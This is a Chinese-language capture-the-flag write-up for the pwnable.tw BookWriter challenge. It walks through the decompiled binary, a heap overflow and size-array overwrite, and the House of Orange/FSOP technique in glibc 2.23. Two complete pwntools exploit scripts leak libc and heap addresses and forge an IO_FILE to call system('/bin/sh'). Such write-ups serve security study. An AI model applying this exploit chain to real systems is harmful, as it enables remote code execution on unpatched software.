Pwnable.tw-BookWriter

2024-10-02

Pwnable.tw-BookWriter

Author: 堇姬Naup

libc

glibc all in one 中沒有 2.23-0ubuntu5
所以去網路上找libc
https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu5

把amd64載下來

1
dpkg -X libc6_2.23-0ubuntu5_amd64.deb .

在libs裡面就有ld跟libc了

patchelf直接patch上去

1
2
patchelf --set-interpreter ld-2.23.so bookwriter
patchelf --replace-needed libc.so.6 ./libc-2.23.so bookwriter

IDA分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to the BookWriter !");
Author();
while ( 1 )
{
menu();
switch ( choice_f() )
{
case 1LL:
ADD();
break;
case 2LL:
VIEW();
break;
case 3LL:
EDIT();
break;
case 4LL:
INFOR();
break;
case 5LL:
exit(0);
default:
puts("Invalid choice");
break;
}
}
}

Author

1
2
3
4
5
__int64 Author()
{
printf("Author :");
return read_f((__int64)&input_author, 0x40u);
}

輸入一個Author,大小為0x40

1
2
3
4
5
6
7
8
9
10
11
12
13
int menu()
{
puts("----------------------");
puts(" BookWriter ");
puts("----------------------");
puts(" 1. Add a page ");
puts(" 2. View a page ");
puts(" 3. Edit a page ");
puts(" 4. Information ");
puts(" 5. Exit ");
puts("----------------------");
return printf("Your choice :");
}

有四種功能

ADD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int ADD()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
char *chunk; // [rsp+10h] [rbp-10h]
__int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 8 )
return puts("You can't add new page anymore!");
if ( !(&heap_arr)[i] )
break;
}
printf("Size of page :");
size = choice_f();
chunk = (char *)malloc(size);
if ( !chunk )
{
puts("Error !");
exit(0);
}
printf("Content :");
read_f((__int64)chunk, size);
(&heap_arr)[i] = chunk;
size_arr[i] = size;
++dword_602040;
return puts("Done !");
}

VIEW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int VIEW()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
idx = choice_f();
if ( idx > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&heap_arr)[idx] )
return puts("Not found !");
printf("Page #%u \n", idx);
return printf("Content :\n%s\n", (&heap_arr)[idx]);
}

EDIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int EDIT()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
v1 = choice_f();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&heap_arr)[v1] )
return puts("Not found !");
printf("Content:");
read_f((__int64)(&heap_arr)[v1], size_arr[v1]);
size_arr[v1] = strlen((&heap_arr)[v1]);
return puts("Done !");
}

INFOR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 INFOR()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("Author : %s\n", input_author);
printf("Page : %u\n", (unsigned int)dword_602040);
printf("Do you want to change the author ? (yes:1 / no:0) ");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
Author();
return __readfsqword(0x28u) ^ v2;
}

分析

leak libc & leak heap

author緊鄰heap arr,可以用來leak heap,直接info收就可以了

1
2
3
4
5
.bss:0000000000602060 input_author    db 40h dup(?)           ; DATA XREF: Author+18↑o
.bss:0000000000602060 ; INFOR+1E↑o
.bss:00000000006020A0 ; char *heap_arr
.bss:00000000006020A0 heap_arr dq ? ; DATA XREF: ADD+1F↑r
.bss:00000000006020A0 ; ADD+A2↑w ...

接下來edit中長度控制是從size arr中獲得的
但是size arr會在每次edit時候根據strlen heap arr去做修改,然而當我把prev size覆蓋掉時,top chunk size就會被算進去,這樣導致heap overflow

1
2
read_f((__int64)(&heap_arr)[v1], size_arr[v1]);
size_arr[v1] = strlen((&heap_arr)[v1]);

這邊就可以打 house of orange了
當我們malloc大小大於top chunk剩餘空間,且FastBin、SmallBin、LargeBin、UnsortedBin都不能找到可以對應的空間時候,ptmalloc會調用brk/mmap申請一塊新的空間,原來的top chunk會被加到unsorted bin中

不過有以下限制

  1. malloc chunk size < mmp_.mmap_threshold (默認128KB,也就是0x20000),不然會直接syscall mmap
  2. Top Chunk size要對齊page(0x1000)
  3. Top chunk size > MINSIZE(0x10)
  4. Top Chunk的Size < malloc chunk size + MINSIZE
  5. Top Chunk Size Pbit = 1

然而要達成這條件實際上可以透過只修改高位top chunk size來bypass
0x20fd1 -> 0xfd1

在malloc 0x1000
就可以拿到一塊unsorted bin了

然而我這樣做就爛了,原因是因為只要有輸入就會自動補一個NULL bytes,原來是因為read function會把\n改成\x00
我們可以透過malloc 0x0來bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./bookwriter')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10304")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x400ce4')

### heap I/O
def add(size, data):
sla(b'Your choice :',b'1')
sla(b'Size of page :',str(size).encode())
sla(b'Content :',data)

def view(idx):
sla(b'Your choice :',b'2')
sla(b'Index of page :',str(idx).encode())

def edit(idx, data):
sla(b'Your choice :',b'3')
sla(b'Index of page :',str(idx).encode())
sla(b'Content:',data)

### exploit

# leak libc
sla(b'Author :',b'a'*0x40)
add(0x28 ,b'1'*0x28)
edit(0,b'1'*0x28)
edit(0,b'1'*0x28+p64(0xfd1))
add(0x1000,b'222')

add(0x0,b'')
view(2)
rcu(b'Content :\n')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
#print(type(leaklibc))
libcbase = leaklibc - 0x3c4188

sla(b'Your choice :',b'4')
rcu(b'Author : '+b'a'*0x40)
leakheap = u64(rcl().strip().ljust(8,b'\x00'))
heapbase = leakheap - 0x10
sla(b'Do you want to change the author ? (yes:1 / no:0) ',b'0')

NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))
NAUPINFO('LEAKHEAP',hex(leakheap))
NAUPINFO('HEAPBASE',hex(heapbase))
### interactive
ita()

RCE

因為沒有free,就繼續打house of orange
來回顧一下house of orange

unsorted bin attack

首先是先了解unsorted bin attack
可以參考Pwn-heap note 1的部分
https://hackmd.io/4fsviCDBQqG_aTIeq1fcMw?view#unsorted-bin-attack

IO_FILE

先來關注malloc_printerr
https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L4987

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);

if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];

buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';

__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}

他主要調用了__libc_message
跟進去看
https://elixir.bootlin.com/glibc/glibc-2.23/source/sysdeps/posix/libc_fatal.c#L67

這邊可以看到他最後調用了abort來kill整個process

1
2
3
4
5
6
7
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);

/* Kill the application. */
abort ();
}

重點關注abort這裡
https://elixir.bootlin.com/glibc/glibc-2.23/source/stdlib/abort.c#L50

1
2
3
4
5
if (stage == 1)
{
++stage;
fflush (NULL);
}

調用flush 實際上調用 _IO_fflush
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/iofflush.c#L31
_IO_fflush 調用 _IO_flush_all 調用 _IO_flush_all_lockp
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L814
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L759

他會從 _IO_list_all 開始循環,將當前循環的fp作為
_IO_OVERFLOW (fp, EOF) 參數傳入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}

看到這裡應該可以發現如果能偽造 IO_list_all上的IO_FILE,就可以控制程式
另外也可以劫持 IO_list_all,來做FSOP

結合前面的 unsorted bin可以在任意 address寫上一個main arena address,所以我們將 IO_list_all寫上 main arena位置,此時的main arena被當 IO_FILE(然而main arena不可控)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}

offset = 0x68的位置是 _chain,他會指向下一塊IO_FILE,如果能把它指向 heap chunk,那就可以打偽造一塊完整的 IO_FILE 來RCE
那要如何讓 _chain變成heap chunk address呢?
關注一下main arena

image
image

unsorted bin後面的 62 塊chunk均為 small bins
small bins 內的chunk 如下

bins chunk size(32bits) chunk size(64bits)
2 16 32
3 24 48
4 32 64
x 8*x 16*x
63 504 1008

目前_chain 指向 main arena + 88 + 0x68 = main arena + 0xc0 這是一個small bin,將small bin的chunk偽造,頭部改成/bin/sh\x00,vtable的IO_OVERFLOW改system
透過觸發malloc err來觸發

image
image

接下來我們回到題目上
我要使用house of orange那我應該如何去寫unsorted bin呢
因為我們現在是沒有一個heap overflow可以去寫到unsorted bin的fd bk
觀察一下IDA跟gdb
會發現heap array長度是8,緊接著是size array,但是他循環了9次可以malloc,所以可以溢出寫size array,讓size變成一個很大的數字

第一塊chunk就會有超級大的溢出
我們把原本top chunk變成unsorted bin的那塊prev size改為/bin/sh
size 蓋成 0x60
剩下的就按照house of orange蓋法,之後蓋掉vtable pointer到fake file下方,並偽造第4個為system
之後去處發malloc error,原本的unsorted bin那塊0x60,會進到small bin,_IO_list_all會被蓋成main arena
small bin 0x60會是_chain,剛好只到0x60那塊
malloc err在flush,就會IO_overflow(small_bin_fp(指向/bin/sh))

-> system(‘/bin/sh’)

不過我腳本不是百分百成功,不知道為甚麼

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./bookwriter')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10304")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x400ce4')

### heap I/O
def add(size, data):
sla(b'Your choice :',b'1')
sla(b'Size of page :',str(size).encode())
sla(b'Content :',data)

def view(idx):
sla(b'Your choice :',b'2')
sla(b'Index of page :',str(idx).encode())

def edit(idx, data):
sla(b'Your choice :',b'3')
sla(b'Index of page :',str(idx).encode())
sla(b'Content:',data)

### exploit

# leak libc
sla(b'Author :',b'a'*0x40)
add(0x28 ,b'1'*0x28)
edit(0,b'1'*0x28)
edit(0,b'1'*0x28+p64(0xfd1))
add(0x1000,b'222')

add(0x0,b'')
for i in range(5):
add(0x0,b'')

view(2)
rcu(b'Content :\n')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
#print(type(leaklibc))
libcbase = leaklibc - 0x3c4188

sla(b'Your choice :',b'4')
rcu(b'Author : '+b'a'*0x40)
leakheap = u64(rcl().strip().ljust(8,b'\x00'))
heapbase = leakheap - 0x10
sla(b'Do you want to change the author ? (yes:1 / no:0) ',b'0')

# Some libc
IO_list_all = libcbase + 0x3c4520
system = libcbase + 0x45390


edit(0, b"")
add(0, b"")

fake_vtable = p64(0) + p64(0) + p64(0) + p64(system)
fake_vtable_address = heapbase + 0x110 + 0xe0

fake_file = b'/bin/sh\00' + p64(0x61) + p64(0xdeadbeef) + p64(IO_list_all - 0x10) + p64(2) + p64(3)
fake_file = fake_file.ljust(0xe0-8,b'\x00')
fake_file += p64(fake_vtable_address)

payload = p64(0)*5+(p64(0x21)+p64(0)*3)*6+p64(0x21) + p64(0)*2 + fake_file + fake_vtable

edit(0,payload)

sla(b'Your choice :',b'1')
sla(b'Size of page :',str(0x10).encode())


NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))
NAUPINFO('LEAKHEAP',hex(leakheap))
NAUPINFO('HEAPBASE',hex(heapbase))
NAUPINFO('LIBC@IO_list_all',hex(IO_list_all))
NAUPINFO('LIBC@system',hex(system))
### interactive
ita()